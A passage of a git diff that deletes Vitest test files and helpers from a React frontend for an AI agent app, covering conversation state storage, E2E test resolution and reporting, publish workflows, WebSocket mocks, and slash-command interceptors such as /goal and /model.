expect(getConversationState(conversationId).filesTabContentViewMode).toBe( - "plain", - ); - - const raw = localStorage.getItem( - `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`, - ); - expect(JSON.parse(raw as string).filesTabContentViewMode).toBe("plain"); - }); - - it("round-trips 'rich' through localStorage (explicit save, not default)", () => { - const conversationId = "files-view-conv-3"; - setConversationState(conversationId, { - filesTabContentViewMode: "rich", - }); - - expect(getConversationState(conversationId).filesTabContentViewMode).toBe( - "rich", - ); - }); - - it("is isolated per conversation", () => { - setConversationState("files-view-convA", { - filesTabContentViewMode: "plain", - }); - setConversationState("files-view-convB", { - filesTabContentViewMode: "rich", - }); - - expect( - getConversationState("files-view-convA").filesTabContentViewMode, - ).toBe("plain"); - expect( - getConversationState("files-view-convB").filesTabContentViewMode, - ).toBe("rich"); - }); - - it("falls back to the 'rich' default when localStorage holds a junk value", () => { - // A corrupted entry (older build with a renamed mode, a hand-edited - // value in devtools, …) must not leak through to the ViewMode-typed - // consumer — the sanitizer drops the bad value so the merged result - // re-applies the typed default. - const conversationId = "files-view-corrupt"; - const key = `${LOCAL_STORAGE_KEYS.CONVERSATION_STATE}-${conversationId}`; - localStorage.setItem( - key, - JSON.stringify({ filesTabContentViewMode: "fancy" }), - ); - - const state = getConversationState(conversationId); - expect(state.filesTabContentViewMode).toBe("rich"); - }); - }); -}); diff --git a/__tests__/e2e/mock-llm-folder-workspace-paths.test.ts b/__tests__/e2e/mock-llm-folder-workspace-paths.test.ts deleted file mode 100644 index 7582822f9..000000000 --- a/__tests__/e2e/mock-llm-folder-workspace-paths.test.ts +++ /dev/null @@ -1,43 +0,0 @@ -import path from "node:path"; -import { describe, expect, it } from "vitest"; - -import { - getFolderBrowserPathSegments, - getFolderBrowserRootPath, - resolveFolderWorkspacePaths, - TEST_DIR_NAME, - WORKSPACE_DIR_NAME, -} from "../../tests/e2e/mock-llm/utils/folder-workspace-paths"; - -describe("mock-LLM folder workspace paths", () => { - it("keeps npm-mode Windows host and agent-server paths identical", () => { - const tmpDir = String.raw`C:\Users\me\AppData\Local\Temp`; - - const paths = resolveFolderWorkspacePaths({ - tmpDir, - env: {}, - }); - - const expectedBase = path.win32.join(tmpDir, WORKSPACE_DIR_NAME); - const expectedDir = path.win32.join(expectedBase, TEST_DIR_NAME); - expect(paths.hostDirBase).toBe(expectedBase); - expect(paths.containerDirBase).toBe(expectedBase); - expect(paths.hostDir).toBe(expectedDir); - expect(paths.testDir).toBe(expectedDir); - }); - - it("derives Windows folder-browser roots and path segments", () => { - const target = String.raw`C:\Users\me\AppData\Local\Temp\e2e-folder-workspace-test\my-test-project`; - - expect(getFolderBrowserRootPath(target)).toBe("C:\\"); - expect(getFolderBrowserPathSegments(target)).toEqual([ - "Users", - "me", - "AppData", - "Local", - "Temp", - "e2e-folder-workspace-test", - "my-test-project", - ]); - }); -}); diff --git a/__tests__/e2e/mock-llm-reporting.test.ts b/__tests__/e2e/mock-llm-reporting.test.ts deleted file mode 100644 index 4fc946674..000000000 --- a/__tests__/e2e/mock-llm-reporting.test.ts +++ /dev/null @@ -1,89 +0,0 @@ -// @vitest-environment node -import { describe, expect, it } from "vitest"; - -import { renderReport } from "../../tests/e2e/mock-llm/scripts/render-mock-llm-report.mjs"; -import { - buildCommentBody, - findMatchingJobComments, -} from "../../tests/e2e/mock-llm/scripts/upsert-pr-comment.mjs"; - -const MOCK_MARKER = ""; - -describe("mock-LLM E2E reporting", () => { - it("keeps the summary visible while hiding the results table in details", () => { - const report = renderReport({ - tests: [ - { - title: "conversations/mock-llm-conversation.spec.ts › runs command", - file: "conversations/mock-llm-conversation.spec.ts", - status: "passed", - durationMs: 1250, - retryCount: 0, - error: "", - }, - ], - workflowUrl: - "https://github.com/OpenHands/agent-canvas/actions/runs/28000401257", - commit: "82c9e1d04d62961e14742e20a4237ecd6db20ff0", - artifactUrl: - "https://github.com/OpenHands/agent-canvas/actions/runs/28000401257/artifacts/7811037798", - title: "Mock-LLM Docker E2E Test Results", - newFiles: [], - markerMeta: null, - }); - - const detailsIndex = report.indexOf("
    "); - const tableIndex = report.indexOf("| Status | Test | Duration |"); - const visibleSummary = report.slice(0, detailsIndex); - - expect(visibleSummary).toContain("## ✅ Mock-LLM Docker E2E Test Results"); - expect(visibleSummary).toContain("**1/1 passed**"); - expect(visibleSummary).toContain("Commit: `82c9e1d0`"); - expect(visibleSummary).toContain("[Workflow run]"); - expect(visibleSummary).toContain("[Test artifacts]"); - expect(visibleSummary).not.toContain("| Status | Test | Duration |"); - expect(visibleSummary).not.toContain("Posted by the Mock-LLM E2E workflow"); - expect(report).toContain("Details"); - expect(detailsIndex).toBeGreaterThan(-1); - expect(tableIndex).toBeGreaterThan(detailsIndex); - }); - - it("marks new comments and finds older comments for the same job", () => { - const body = "## ✅ Mock-LLM E2E Tests\n\n**60/60 passed**"; - - expect(buildCommentBody(body, MOCK_MARKER)).toBe(`${MOCK_MARKER}\n${body}`); - expect(buildCommentBody(`${MOCK_MARKER}\n${body}`, MOCK_MARKER)).toBe( - `${MOCK_MARKER}\n${body}`, - ); - - const matching = findMatchingJobComments( - [ - { - id: 1, - body: `${MOCK_MARKER}\n## ✅ Mock-LLM E2E Tests`, - user: { login: "someone", type: "User" }, - }, - { - id: 2, - body: "## ✅ Mock-LLM E2E Tests\n\nolder unmarked body", - user: { login: "github-actions[bot]", type: "Bot" }, - }, - { - id: 3, - body: "## ✅ Mock-LLM E2E Tests\n\nhuman mention", - user: { login: "maintainer", type: "User" }, - }, - { - id: 4, - body: "## ✅ Mock-LLM Docker E2E Test Results\n\nother job", - user: { login: "github-actions[bot]", type: "Bot" }, - }, - ], - { marker: MOCK_MARKER, legacyTitle: "Mock-LLM E2E Tests" }, - ); - - expect(matching.map((comment: { id: number }) => comment.id)).toEqual([ - 1, 2, - ]); - }); -}); diff --git a/__tests__/e2e/resolve-affected-tests.test.ts b/__tests__/e2e/resolve-affected-tests.test.ts deleted file mode 100644 index 145889c2c..000000000 --- a/__tests__/e2e/resolve-affected-tests.test.ts +++ /dev/null @@ -1,103 +0,0 @@ -// @vitest-environment node -import { execFileSync } from "node:child_process"; -import { readFileSync } from "node:fs"; -import path from "node:path"; -import { fileURLToPath } from "node:url"; -import { describe, expect, it } from "vitest"; - -const repoRoot = path.resolve( - path.dirname(fileURLToPath(import.meta.url)), - "../..", -); - -const resolverPath = path.join( - repoRoot, - "tests/e2e/mock-llm/scripts/resolve-affected-tests.mjs", -); -const workflowPath = path.join(repoRoot, ".github/workflows/mock-llm-e2e.yml"); -const dockerWorkflowPath = path.join( - repoRoot, - ".github/workflows/mock-llm-docker-e2e.yml", -); - -function resolveAffectedTests(files: string[]) { - const output = execFileSync( - process.execPath, - [resolverPath, "--files", files.join(",")], - { cwd: repoRoot, encoding: "utf-8" }, - ).trim(); - - return output.length > 0 ? output.split(/\s+/) : []; -} - -describe("mock-LLM E2E affected test resolver", () => { - it("selects mapped source shards plus regressions", () => { - expect( - resolveAffectedTests(["src/components/features/settings/llm-form.tsx"]), - ).toEqual([ - "tests/e2e/mock-llm/regressions", - "tests/e2e/mock-llm/settings", - ]); - }); - - it("runs the full suite for cross-cutting source changes", () => { - expect(resolveAffectedTests(["src/api/agent-server-adapter.ts"])).toEqual([ - "__ALL__", - ]); - }); - - it("runs the full suite for unmapped source changes", () => { - expect(resolveAffectedTests(["src/utils/some-new-helper.ts"])).toEqual([ - "__ALL__", - ]); - }); - - it("selects the containing feature subset for a test-only new spec change", () => { - expect( - resolveAffectedTests([ - "tests/e2e/mock-llm/mcp/mock-llm-new-marketplace.spec.ts", - ]), - ).toEqual(["tests/e2e/mock-llm/mcp", "tests/e2e/mock-llm/regressions"]); - }); - - it("selects the exact root spec path defensively for misplaced new specs", () => { - expect( - resolveAffectedTests(["tests/e2e/mock-llm/mock-llm-new-root.spec.ts"]), - ).toEqual([ - "tests/e2e/mock-llm/regressions", - "tests/e2e/mock-llm/mock-llm-new-root.spec.ts", - ]); - }); - - it.each([ - ["public/favicon.ico"], - [".github/workflows/mock-llm-e2e.yml"], - ["tailwind.config.js"], - ["hero.ts"], - ["tests/e2e/mock-llm/test-mapping.json"], - ])("runs the full suite for relevant trigger path %s", (file) => { - expect(resolveAffectedTests([file])).toEqual(["__ALL__"]); - }); - - it("keeps resolver failures from becoming selective test paths", () => { - const workflow = readFileSync(workflowPath, "utf-8"); - - expect(workflow).toContain("if ! RESULT=$(node"); - expect(workflow).toContain("Affected-test resolver failed"); - expect(workflow).not.toContain("2>&1) || true"); - }); - - it("keeps E2E workflows from path-skipping required PR checks", () => { - const workflow = readFileSync(workflowPath, "utf-8"); - const dockerWorkflow = readFileSync(dockerWorkflowPath, "utf-8"); - - expect(workflow).not.toContain("\n paths:\n"); - expect(workflow).toContain("detect-pr-changes:"); - expect(workflow).toContain("needs.detect-pr-changes.outputs.should_run"); - expect(dockerWorkflow).not.toContain("\n paths:\n"); - expect(dockerWorkflow).toContain("detect-pr-changes:"); - expect(dockerWorkflow).toContain( - "needs.detect-pr-changes.outputs.should_run", - ); - }); -}); diff --git a/__tests__/fixtures/table-demo-conversation.test.ts b/__tests__/fixtures/table-demo-conversation.test.ts deleted file mode 100644 index e186ce616..000000000 --- a/__tests__/fixtures/table-demo-conversation.test.ts +++ /dev/null @@ -1,24 +0,0 @@ -import { describe, expect, it } from "vitest"; -import { - TABLE_DEMO_CONVERSATION_ID, - TABLE_DEMO_EVENTS, -} from "#/fixtures/table-demo-conversation"; - -describe("table demo conversation fixture", () => { - it("seeds a user message and an agent reply with a wide markdown table", () => { - expect(TABLE_DEMO_CONVERSATION_ID).toBe("table-demo"); - expect(TABLE_DEMO_EVENTS).toHaveLength(2); - expect(TABLE_DEMO_EVENTS[0]?.source).toBe("user"); - expect(TABLE_DEMO_EVENTS[1]?.source).toBe("agent"); - - const agentText = - "llm_message" in TABLE_DEMO_EVENTS[1]! - ? TABLE_DEMO_EVENTS[1].llm_message.content[0] - : null; - expect(agentText).toMatchObject({ type: "text" }); - if (agentText && "text" in agentText) { - expect(agentText.text).toContain("| Feature | OpenHands |"); - expect(agentText.text).toContain("| Continue |"); - } - }); -}); diff --git a/__tests__/github-workflows/npm-publish.test.ts b/__tests__/github-workflows/npm-publish.test.ts deleted file mode 100644 index adfb8eab7..000000000 --- a/__tests__/github-workflows/npm-publish.test.ts +++ /dev/null @@ -1,52 +0,0 @@ -// @vitest-environment node -import { readFileSync } from "node:fs"; -import path from "node:path"; -import { fileURLToPath } from "node:url"; -import { describe, expect, it } from "vitest"; - -const repoRoot = path.resolve( - path.dirname(fileURLToPath(import.meta.url)), - "../..", -); - -function read(rel: string): string { - return readFileSync(path.join(repoRoot, rel), "utf-8"); -} - -describe("npm publish workflow", () => { - it("builds both package surfaces with the production PostHog key", () => { - const workflow = read(".github/workflows/npm-publish.yml"); - const buildAppStep = workflow.match( - /- name: Build app[\s\S]*?(?=\n\s*- name: Build library)/, - )?.[0]; - const buildLibraryStep = workflow.match( - /- name: Build library[\s\S]*?(?=\n\s*- name: Verify package contents)/, - )?.[0]; - - expect(buildAppStep).toBeTruthy(); - expect(buildAppStep).toContain( - "VITE_POSTHOG_API_KEY: ${{ vars.POSTHOG_PROD_KEY }}", - ); - expect(buildAppStep).toContain("npm run build"); - expect(buildLibraryStep).toContain( - "VITE_POSTHOG_API_KEY: ${{ vars.POSTHOG_PROD_KEY }}", - ); - expect(buildLibraryStep).toContain("npm run build:lib"); - }); - - it("passes the selected PostHog key through Docker's supported build arg", () => { - const workflow = read(".github/workflows/docker.yml"); - const dockerfile = read("docker/Dockerfile"); - - expect(workflow).toContain( - "VITE_POSTHOG_API_KEY=${{ steps.prep.outputs.posthog_api_key }}", - ); - expect(workflow).not.toContain("VITE_POSTHOG_CLIENT_KEY"); - expect(workflow).not.toContain("vite_app_env"); - expect(dockerfile).toContain('ARG VITE_POSTHOG_API_KEY=""'); - expect(dockerfile).toContain( - "ENV VITE_POSTHOG_API_KEY=${VITE_POSTHOG_API_KEY}", - ); - expect(dockerfile).not.toContain("VITE_APP_ENV"); - }); -}); diff --git a/__tests__/helpers/README.md b/__tests__/helpers/README.md deleted file mode 100644 index c28a8bb8e..000000000 --- a/__tests__/helpers/README.md +++ /dev/null @@ -1,46 +0,0 @@ -# Test Helpers - -This directory contains reusable test utilities and components for the OpenHands frontend test suite. - -## Files - -### `websocket-test-components.tsx` -Contains React test components for accessing and displaying WebSocket-related store values: -- `ConnectionStatusComponent` - Displays WebSocket connection state -- `EventStoreComponent` - Displays event store values (events count, UI events count, latest event ID) -- `OptimisticUserMessageStoreComponent` - Displays optimistic user message store values -- `ErrorMessageStoreComponent` - Displays error message store values - -These components are designed to be used in tests to verify that WebSocket events are properly processed and stored. - - - -### `msw-websocket-setup.ts` -Contains MSW (Mock Service Worker) setup utilities for WebSocket testing: -- `createWebSocketLink()` - Creates a WebSocket link for MSW testing -- `createWebSocketMockServer()` - Creates and configures an MSW server for WebSocket testing -- `createWebSocketTestSetup()` - Creates a complete WebSocket testing setup -- `conversationWebSocketTestSetup()` - Standard setup for conversation WebSocket handler tests - -## Usage - -```typescript -import { - ConnectionStatusComponent, - EventStoreComponent, -} from "./__tests__/helpers/websocket-test-components"; -import { conversationWebSocketTestSetup } from "./__tests__/helpers/msw-websocket-setup"; - -// Set up MSW server -const { wsLink, server } = conversationWebSocketTestSetup(); - -// Render components with WebSocket context (helper function defined in test file) -renderWithWebSocketContext(); -``` - -## Benefits - -- **Reusability**: Test components and utilities can be shared across multiple test files -- **Maintainability**: Changes to test setup only need to be made in one place -- **Consistency**: Ensures consistent test setup across different WebSocket-related tests -- **Readability**: Test files are cleaner and focus on test logic rather than setup boilerplate diff --git a/__tests__/helpers/msw-websocket-setup.ts b/__tests__/helpers/msw-websocket-setup.ts deleted file mode 100644 index 114903e91..000000000 --- a/__tests__/helpers/msw-websocket-setup.ts +++ /dev/null @@ -1,44 +0,0 @@ -import { ws } from "msw"; -import { setupServer } from "msw/node"; - -/** - * Creates a WebSocket link for MSW testing - * @param url - WebSocket URL to mock (default: "ws://localhost/events/socket") - * @returns MSW WebSocket link - */ -export const createWebSocketLink = (url = "ws://localhost/events/socket") => - ws.link(url); - -/** - * Creates and configures an MSW server for WebSocket testing - * @param wsLink - WebSocket link to use for the server - * @returns Configured MSW server - */ -export const createWebSocketMockServer = (wsLink: ReturnType) => - setupServer( - wsLink.addEventListener("connection", ({ server }) => { - server.connect(); - }), - ); - -/** - * Creates a complete WebSocket testing setup with server and link - * @param url - WebSocket URL to mock (default: "ws://localhost/events/socket") - * @returns Object containing the WebSocket link and configured server - */ -export const createWebSocketTestSetup = ( - url = "ws://localhost/events/socket", -) => { - const wsLink = createWebSocketLink(url); - const server = createWebSocketMockServer(wsLink); - - return { wsLink, server }; -}; - -/** - * Standard WebSocket test setup for conversation WebSocket handler tests - * Updated to use the V1 WebSocket URL pattern: /sockets/events/{conversationId} - * Uses a wildcard pattern to match any conversation ID - */ -export const conversationWebSocketTestSetup = () => - createWebSocketTestSetup("ws://localhost:3000/sockets/events/*"); diff --git a/__tests__/helpers/websocket-test-components.tsx b/__tests__/helpers/websocket-test-components.tsx deleted file mode 100644 index b728a6bde..000000000 --- a/__tests__/helpers/websocket-test-components.tsx +++ /dev/null @@ -1,73 +0,0 @@ -import React from "react"; -import { useConversationWebSocket } from "#/contexts/conversation-websocket-context"; -import { useEventStore } from "#/stores/use-event-store"; -import { useErrorMessageStore } from "#/stores/error-message-store"; -import { useOptimisticUserMessageStore } from "#/stores/optimistic-user-message-store"; -import { isAgentServerEvent } from "#/types/agent-server/type-guards"; -import { OpenHandsEvent } from "#/types/agent-server/core"; - -/** - * Test component to access and display WebSocket connection state - */ -export function ConnectionStatusComponent() { - const context = useConversationWebSocket(); - - return ( -
    -
    - {context?.connectionState || "NOT_AVAILABLE"} -
    -
    - ); -} - -/** - * Test component to access and display event store values - */ -export function EventStoreComponent() { - const { events, uiEvents } = useEventStore(); - return ( -
    -
    {events.length}
    -
    {uiEvents.length}
    -
    - {isAgentServerEvent(events[events.length - 1]) - ? (events[events.length - 1] as OpenHandsEvent).id - : "none"} -
    -
    - ); -} - -/** - * Test component to access and display the queue of pending user messages - * tracked locally until the WebSocket echoes them back. - */ -export function OptimisticUserMessageStoreComponent() { - const { pendingMessages } = useOptimisticUserMessageStore(); - return ( -
    -
    - {pendingMessages[0]?.text || "none"} -
    -
    - {pendingMessages.length} -
    -
    - {pendingMessages.map((m) => m.status).join(",") || "none"} -
    -
    - ); -} - -/** - * Test component to access and display error message store values - */ -export function ErrorMessageStoreComponent() { - const { errorMessage } = useErrorMessageStore(); - return ( -
    -
    {errorMessage || "none"}
    -
    - ); -} diff --git a/__tests__/hooks/chat/model-command-event-anchor.test.ts b/__tests__/hooks/chat/model-command-event-anchor.test.ts deleted file mode 100644 index c3e2f1d60..000000000 --- a/__tests__/hooks/chat/model-command-event-anchor.test.ts +++ /dev/null @@ -1,32 +0,0 @@ -import { beforeEach, describe, expect, it } from "vitest"; -import { getLastRenderableEventId } from "#/hooks/chat/model-command-event-anchor"; -import { useEventStore } from "#/stores/use-event-store"; -import { - createOtherActionEvent, - createPlanningFileEditorActionEvent, - createUserMessageEvent, -} from "test-utils"; - -describe("getLastRenderableEventId", () => { - beforeEach(() => { - useEventStore.getState().clearEvents(); - }); - - it("returns null when no renderable events exist", () => { - useEventStore - .getState() - .addEvent(createPlanningFileEditorActionEvent("plan")); - - expect(getLastRenderableEventId()).toBeNull(); - }); - - it("returns the latest renderable UI event id as a string", () => { - useEventStore.getState().addEvent(createUserMessageEvent("message-1")); - useEventStore - .getState() - .addEvent(createPlanningFileEditorActionEvent("plan")); - useEventStore.getState().addEvent(createOtherActionEvent("action-1")); - - expect(getLastRenderableEventId()).toBe("action-1"); - }); -}); diff --git a/__tests__/hooks/chat/use-btw-interceptor.test.ts b/__tests__/hooks/chat/use-btw-interceptor.test.ts deleted file mode 100644 index f42696e97..000000000 --- a/__tests__/hooks/chat/use-btw-interceptor.test.ts +++ /dev/null @@ -1,65 +0,0 @@ -import { act, renderHook, waitFor } from "@testing-library/react"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { useBtwInterceptor } from "#/hooks/chat/use-btw-interceptor"; -import { useBtwStore } from "#/stores/btw-store"; - -const mockAskAgent = vi.hoisted(() => - vi.fn<(id: string, q: string) => Promise<{ response: string }>>(), -); - -vi.mock("#/hooks/mutation/conversation-mutation-utils", () => ({ - askAgent: (id: string, q: string) => mockAskAgent(id, q), -})); - -const CONV = "conv-1"; -const entries = () => useBtwStore.getState().entriesByConversation[CONV] ?? []; - -describe("useBtwInterceptor", () => { - beforeEach(() => { - useBtwStore.setState({ entriesByConversation: {} }); - mockAskAgent.mockReset(); - }); - - it("falls through to onSubmit for non-/btw messages", () => { - const onSubmit = vi.fn(); - const { result } = renderHook(() => useBtwInterceptor(CONV, onSubmit)); - act(() => result.current("hello world")); - expect(onSubmit).toHaveBeenCalledWith("hello world"); - expect(mockAskAgent).not.toHaveBeenCalled(); - expect(entries()).toEqual([]); - }); - - it("intercepts /btw, calls askAgent, and resolves the entry", async () => { - mockAskAgent.mockResolvedValueOnce({ response: "because" }); - const onSubmit = vi.fn(); - const { result } = renderHook(() => useBtwInterceptor(CONV, onSubmit)); - - act(() => result.current("/btw why?")); - - expect(onSubmit).not.toHaveBeenCalled(); - expect(mockAskAgent).toHaveBeenCalledWith(CONV, "why?"); - expect(entries()[0]).toMatchObject({ question: "why?", status: "pending" }); - - await waitFor(() => expect(entries()[0].status).toBe("done")); - expect(entries()[0]).toMatchObject({ - response: "because", - status: "done", - }); - }); - - it("marks the entry as error when askAgent rejects", async () => { - mockAskAgent.mockRejectedValueOnce(new Error("boom")); - const { result } = renderHook(() => useBtwInterceptor(CONV, vi.fn())); - act(() => result.current("/btw why?")); - await waitFor(() => expect(entries()[0].status).toBe("error")); - expect(entries()[0].response).toBe("boom"); - }); - - it("falls through when conversationId is null", () => { - const onSubmit = vi.fn(); - const { result } = renderHook(() => useBtwInterceptor(null, onSubmit)); - act(() => result.current("/btw why?")); - expect(onSubmit).toHaveBeenCalledWith("/btw why?"); - expect(mockAskAgent).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/hooks/chat/use-goal-interceptor.test.ts b/__tests__/hooks/chat/use-goal-interceptor.test.ts deleted file mode 100644 index 152bf85e0..000000000 --- a/__tests__/hooks/chat/use-goal-interceptor.test.ts +++ /dev/null @@ -1,101 +0,0 @@ -import { act, renderHook, waitFor } from "@testing-library/react"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import { useGoalInterceptor } from "#/hooks/chat/use-goal-interceptor"; - -const mockStartGoal = vi.hoisted(() => - vi.fn< - ( - id: string, - req: { objective: string; max_iterations?: number }, - ) => Promise - >(), -); -const mockToast = vi.hoisted(() => vi.fn<(message: string) => void>()); - -vi.mock("#/hooks/mutation/conversation-mutation-utils", () => ({ - startGoal: ( - id: string, - req: { objective: string; max_iterations?: number }, - ) => mockStartGoal(id, req), -})); - -vi.mock("#/utils/custom-toast-handlers", () => ({ - displayErrorToast: (message: string) => mockToast(message), -})); - -const CONV = "conv-1"; - -describe("useGoalInterceptor", () => { - beforeEach(() => { - mockStartGoal.mockReset(); - mockStartGoal.mockResolvedValue(undefined); - mockToast.mockReset(); - }); - - it("falls through to onSubmit for non-/goal messages", () => { - const onSubmit = vi.fn(); - const { result } = renderHook(() => useGoalInterceptor(CONV, onSubmit)); - act(() => result.current("hello world")); - expect(onSubmit).toHaveBeenCalledWith("hello world"); - expect(mockStartGoal).not.toHaveBeenCalled(); - }); - - it("intercepts /goal and starts the loop with the objective", () => { - const onSubmit = vi.fn(); - const { result } = renderHook(() => useGoalInterceptor(CONV, onSubmit)); - act(() => result.current("/goal make pytest pass")); - expect(onSubmit).not.toHaveBeenCalled(); - expect(mockStartGoal).toHaveBeenCalledWith(CONV, { - objective: "make pytest pass", - }); - }); - - it("parses a leading --max N flag", () => { - const { result } = renderHook(() => useGoalInterceptor(CONV, vi.fn())); - act(() => result.current("/goal --max 3 make pytest pass")); - expect(mockStartGoal).toHaveBeenCalledWith(CONV, { - objective: "make pytest pass", - max_iterations: 3, - }); - }); - - it("parses the --max=N form", () => { - const { result } = renderHook(() => useGoalInterceptor(CONV, vi.fn())); - act(() => result.current("/goal --max=5 ship it")); - expect(mockStartGoal).toHaveBeenCalledWith(CONV, { - objective: "ship it", - max_iterations: 5, - }); - }); - - it("ignores an invalid --max value and treats the rest as the objective", () => { - const { result } = renderHook(() => useGoalInterceptor(CONV, vi.fn())); - act(() => result.current("/goal --max abc do the thing")); - expect(mockStartGoal).toHaveBeenCalledWith(CONV, { - objective: "--max abc do the thing", - }); - }); - - it("does nothing for a bare /goal with no objective", () => { - const onSubmit = vi.fn(); - const { result } = renderHook(() => useGoalInterceptor(CONV, onSubmit)); - act(() => result.current("/goal")); - expect(onSubmit).not.toHaveBeenCalled(); - expect(mockStartGoal).not.toHaveBeenCalled(); - }); - - it("falls through when conversationId is null", () => { - const onSubmit = vi.fn(); - const { result } = renderHook(() => useGoalInterceptor(null, onSubmit)); - act(() => result.current("/goal do it")); - expect(onSubmit).toHaveBeenCalledWith("/goal do it"); - expect(mockStartGoal).not.toHaveBeenCalled(); - }); - - it("shows an error toast when startGoal rejects", async () => { - mockStartGoal.mockRejectedValueOnce(new Error("boom")); - const { result } = renderHook(() => useGoalInterceptor(CONV, vi.fn())); - act(() => result.current("/goal do it")); - await waitFor(() => expect(mockToast).toHaveBeenCalledWith("boom")); - }); -}); diff --git a/__tests__/hooks/chat/use-model-interceptor.test.tsx b/__tests__/hooks/chat/use-model-interceptor.test.tsx deleted file mode 100644 index b0292c439..000000000 --- a/__tests__/hooks/chat/use-model-interceptor.test.tsx +++ /dev/null @@ -1,214 +0,0 @@ -import React from "react"; -import { act, renderHook, waitFor } from "@testing-library/react"; -import { QueryClient, QueryClientProvider } from "@tanstack/react-query"; -import { beforeEach, describe, expect, it, vi } from "vitest"; -import ProfilesService from "#/api/profiles-service/profiles-service.api"; -import { ActiveBackendProvider } from "#/contexts/active-backend-context"; -import { - __resetActiveStoreForTests, - setActiveSelection, - setRegisteredBackends, -} from "#/api/backend-registry/active-store"; -import type { Backend } from "#/api/backend-registry/types"; -import { useModelInterceptor } from "#/hooks/chat/use-model-interceptor"; -import { useEventStore } from "#/stores/use-event-store"; -import { useModelStore } from "#/stores/model-store"; - -const { mockSwitchAndLog, mockDisplayErrorToast } = vi.hoisted(() => ({ - mockSwitchAndLog: vi.fn(), - mockDisplayErrorToast: vi.fn(), -})); - -vi.mock("#/hooks/mutation/use-switch-llm-profile-and-log", () => ({ - useSwitchLlmProfileAndLog: () => ({ - switchAndLog: mockSwitchAndLog, - isPending: false, - }), -})); - -vi.mock("react-i18next", () => ({ - useTranslation: () => ({ - t: (key: string) => key, - }), -})); - -vi.mock("#/utils/custom-toast-handlers", () => ({ - displayErrorToast: mockDisplayErrorToast, -})); - -const CONVERSATION_ID = "conv-1"; - -const cloudBackend: Backend = { - id: "prod", - name: "Production", - host: "https://app.all-hands.dev", - apiKey: "bearer-token", - kind: "cloud", -}; - -const createUserMessageEvent = (id: string) => ({ - id, - timestamp: new Date().toISOString(), - source: "user" as const, - llm_message: { - role: "user" as const, - content: [{ type: "text" as const, text: "User message" }], - }, - activated_microagents: [], - extended_content: [], -}); - -const makeWrapper = () => { - const queryClient = new QueryClient({ - defaultOptions: { - queries: { retry: false }, - mutations: { retry: false }, - }, - }); - - return function Wrapper({ children }: { children: React.ReactNode }) { - return ( - - {children} - - ); - }; -}; - -describe("useModelInterceptor", () => { - beforeEach(() => { - vi.clearAllMocks(); - window.localStorage.clear(); - vi.spyOn(ProfilesService, "listProfiles").mockResolvedValue({ - profiles: [], - active_profile: null, - }); - __resetActiveStoreForTests(); - useEventStore.getState().clearEvents(); - useModelStore.setState({ entriesByConversation: {} }); - }); - - it("lists profiles inline for bare /model submissions", async () => { - vi.mocked(ProfilesService.listProfiles).mockResolvedValueOnce({ - profiles: [ - { - name: "haiku", - model: "anthropic/claude-haiku-4-5", - base_url: null, - api_key_set: true, - }, - ], - active_profile: "haiku", - }); - useEventStore.getState().addEvent(createUserMessageEvent("message-1")); - const onSubmit = vi.fn(); - - const { result } = renderHook( - () => useModelInterceptor(CONVERSATION_ID, onSubmit), - { wrapper: makeWrapper() }, - ); - - act(() => result.current(" /model ")); - - await waitFor(() => { - expect( - useModelStore.getState().entriesByConversation[CONVERSATION_ID], - ).toEqual([ - expect.objectContaining({ - anchorEventId: "message-1", - profiles: [expect.objectContaining({ name: "haiku" })], - }), - ]); - }); - expect(onSubmit).not.toHaveBeenCalled(); - expect(mockSwitchAndLog).not.toHaveBeenCalled(); - }); - - it("switches profiles for /model submissions", () => { - const onSubmit = vi.fn(); - const { result } = renderHook( - () => useModelInterceptor(CONVERSATION_ID, onSubmit), - { wrapper: makeWrapper() }, - ); - - act(() => result.current("/model haiku")); - - expect(mockSwitchAndLog).toHaveBeenCalledWith(CONVERSATION_ID, "haiku"); - expect(onSubmit).not.toHaveBeenCalled(); - expect(ProfilesService.listProfiles).not.toHaveBeenCalled(); - }); - - it("falls through for non-model messages", () => { - const onSubmit = vi.fn(); - const { result } = renderHook( - () => useModelInterceptor(CONVERSATION_ID, onSubmit), - { wrapper: makeWrapper() }, - ); - - act(() => result.current("hello /model haiku")); - - expect(onSubmit).toHaveBeenCalledWith("hello /model haiku"); - expect(mockSwitchAndLog).not.toHaveBeenCalled(); - }); - - it("intercepts on cloud backends (cloud also manages the LLM via profiles)", () => { - setRegisteredBackends([cloudBackend]); - setActiveSelection({ backendId: cloudBackend.id }); - const onSubmit = vi.fn(); - - const { result } = renderHook( - () => useModelInterceptor(CONVERSATION_ID, onSubmit), - { wrapper: makeWrapper() }, - ); - - act(() => result.current("/model haiku")); - - expect(mockSwitchAndLog).toHaveBeenCalledWith(CONVERSATION_ID, "haiku"); - expect(onSubmit).not.toHaveBeenCalled(); - }); - - it("activates the named profile globally even when no conversation is set", () => { - const onSubmit = vi.fn(); - const { result } = renderHook(() => useModelInterceptor(null, onSubmit), { - wrapper: makeWrapper(), - }); - - act(() => result.current("/model haiku")); - - // Message is intercepted (never forwarded to the LLM) and the activate - // call still fires — the home-page `/model NAME` flow. - expect(onSubmit).not.toHaveBeenCalled(); - expect(mockSwitchAndLog).toHaveBeenCalledWith(null, "haiku"); - }); - - it("swallows bare /model on the home page (no conversation to anchor to)", () => { - const onSubmit = vi.fn(); - const { result } = renderHook(() => useModelInterceptor(null, onSubmit), { - wrapper: makeWrapper(), - }); - - act(() => result.current("/model")); - - expect(onSubmit).not.toHaveBeenCalled(); - expect(mockSwitchAndLog).not.toHaveBeenCalled(); - }); - - it("shows an error toast when listing profiles fails", async () => { - vi.mocked(ProfilesService.listProfiles).mockRejectedValue( - new Error("Network error"), - ); - const onSubmit = vi.fn(); - - const { result } = renderHook( - () => useModelInterceptor(CONVERSATION_ID, onSubmit), - { wrapper: makeWrapper() }, - ); - - act(() => result.current("/model")); - - await waitFor(() => { - expect(mockDisplayErrorToast).toHaveBeenCalledWith("Network error"); - }); - expect(onSubmit).not.toHaveBeenCalled(); - }); -}); diff --git a/__tests__/hooks/chat/use-slash-command.test.ts b/__tests__/hooks/chat/use-slash-command.test.ts deleted file mode 100644 index 4b2dc846a..000000000 --- a/__tests__/hooks/chat/use-slash-command.test.ts +++ /dev/null @@ -1,206 +0,0 @@ -import React from "react"; -import { act, renderHook } from "@testing-library/react"; -import { describe, it, expect, vi, beforeEach, afterEach } from "vitest"; -import { useSlashCommand } from "#/hooks/chat/use-slash-command"; -import { ActiveBackendProvider } from 